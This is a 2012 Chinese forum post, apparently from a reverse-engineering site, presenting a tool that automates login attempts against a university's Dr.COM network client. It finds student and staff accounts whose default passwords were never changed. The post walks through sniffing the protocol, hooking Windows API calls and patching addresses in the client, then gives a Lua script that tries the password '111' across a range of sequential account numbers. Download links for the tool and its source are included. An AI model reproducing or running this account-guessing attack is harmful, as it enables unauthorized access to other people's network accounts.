首页
社区
课程
招聘
[旧帖] [原创][原创]drcom自动测试器 0.00雪花
发表于: 2012-6-8 12:46 1190

[旧帖] [原创][原创]drcom自动测试器 0.00雪花

2012-6-8 12:46
1190
这两天折腾了一下万恶的drcom,目的是有一批帐号需要测试哪些的密码没有改的。其他的作用就自己看了 ,嘿嘿。学生的帐号是需要绑定物理地址的,而研究生和老师的不需要,,只要找到它们的帐号区间就行了。

用比较简单的方法吧,就是模拟人手动点击登录的过程吧。

1、点击 认证下的登录按钮,弹出登录框

2、输入帐号密码,点击登录。

3、判断登录成功否,如果不成功则继续1~2步骤,成功则注销后继续1~2步骤

4、注销的过程也是差不多

首先确定drcom验证过程发送的消息吧,我使用的工具是wireshark,可以截获到 drcom验证用了4条消息。

1、01 13 37 01 08 00 00 00 00 00 00 00 00 00 00 00  00 00 00 00

2、02 13 37 01 15 14 00 00 00 00 01 00 d0 03 e8 f0  00 00 00 00 0a fd 71 04 f0 00 a8 a8 00 00 e6 59 f1 67 00 00 00 00 dc 02 00 00

3、03 01 00 1c d1 74 5b 6a 56 06 c4 48 b3 d2 9c 10   ……

4、04 00 00 05 17 80 2a 00 00 6d e8 35 01 ff ff ff         ……

可以看到消息首字节是顺序的01, 02, 03, 04.登录失败的第一个字节是05,帐号密码错误的话滴5个字节是0×03, 第5个字节是0x0b的话,表示帐号只能在指定地址使用,即是帐号密码对了,但是物理地址不对。

这样就可以得出开始和终止条件了,可以HOOK SOCKET 来判断下一步是登录还是注销

点击登录后弹出的登录框是用DialogBoxParamA创建的,这个可以从ollydebug的查找->当前模块中的名称中找到。

INT_PTR WINAPI Hook_DialogBoxParamA( HINSTANCE hInstance, LPCSTR lpTemplateName, HWND hWndParent, DLGPROC lpDialogFunc,
    LPARAM dwInitParam)
{
    //找到的直接登录函数地址
    int loginfunc = 0x0041c250;

    __asm{
        call loginfunc ;
    }

    gLoginTrying = true;
    gBeginLogin = true;

        //为了加快速度,直接返回值,不显示登录框
    return 1;

}
那么这个 0x0041c250是怎么找到的呢

在上面的DialogBoxParamA  右键 反汇编窗口中跟随输入函数 可以跳转到DialogBoxParamA的地址,然后F2设置断点。当程序中断的时候 可以在堆栈窗口中看到 0012F4A8 00418810 返回到 ishare2.00418810 来自 USER32.DialogBoxParamA

我们再来到反汇编窗口,ctrl+G 输入 00418810 跳转

可以看到跳转到了 DialogBoxParamA 函数的下一句代码   上面有一句DlgProc = 0040142e 这里是对话框的消息处理函数 ctrl+G跟踪  接着跟踪到41c649

登录键的ID为1,所以继续跟踪 401717  最后跟踪到41c250处。

其他也差不多这样找。

弹出登录窗口的地址

       int loginMenuClick = 0x00401172;

    __asm{

        push 0x0;
        push 0x12f;
        push hwnd;
        call loginMenuClick;

    }
 

void Logoff( )
{
    gLogoffTrying = true;

    int logoffFunction = 0x0040164A;

    __asm{
        push 1;
        call logoffFunction;     //注销
    }

}
 

在这里还做了一些其他的工作,一般登录DRCOM后会弹出广告页,非常烦人,一般这是调用了createprocess函数,所以HOOK这个函数

BOOL WINAPI Hook_CreateProcessA( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
    LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory,
    LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation )
{
    return false;
}
 

DRCOM只能够启动一个实例,这是在启动前调用了findwindow来查看是否已经存在了一个DRCOM窗口程序来确定,所以同样HOOK  findwindow函数,但是只是这样也不够的,DRCOM使用了固定的端口61440, 如果再开启的程序端口不变的话就会冲突。

查到地址   0040c11f   move edi, 0f000 (即绑定端口61440)。 修改掉这里

这样就可以一个正常运行,另一个用来测试用了。

HWND WINAPI Hook_FindWindowA(__in_opt LPCSTR lpClassName, __in_opt LPCSTR lpWindowName )
{
    return 0;
}
 

同时还编写了一个测试帐号密码的脚本 和 控制测试的ini

脚本实例:
AcountSecondPart = 1970

function GetAccountString()
  str = tostring(_G["AcountSecondPart"])
  _G["AcountSecondPart"] = _G["AcountSecondPart"] + 1;
  if i<10 then
    return "2010000"..str
  elseif (i>=10)and(i<100) then
    return "200900"..str
  elseif (i>=100)and(i<1000) then
    return "20090"..str
  elseif (i>=1000)and(i<10000) then
    return "2009"..str
  else
    return ""
  end

end

function GetPasswordString()
  return "111"
end

function IsGoOn()
  i = _G["AcountSecondPart"]

  if i<10000 then
    return true
  else
    return false
  end
end

在account.ini里面可以修改 UsingHook 的值 0 为不使用自动测试,1为使用自动测试.测试所得到的帐号密码会保存在这里面

在AccountAndPassword.lua 里可以编写自己的测试 帐号密码的脚本, GetAccountString()返回帐号string, GetPasswordString()返回密码string, IsGoOn() 控制测试是否继续。

对了  这个破解是在另外一个破解版本的基础上破解的~~~

文章也发布在我的博客中,详情可去我的博客查看:http://rainynote.com/2012/05/drcom%E8%87%AA%E5%8A%A8%E6%B5%8B%E8%AF%95%E5%99%A8/

工具及源码下载地址:http://download.csdn.net/detail/jjyinkailejj/4340945

[课程]FART 脱壳王!加量不加价!FART作者讲授!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
2
支持一个啊!
2012-6-8 21:07
0
游客
登录 | 注册 方可回帖
返回
//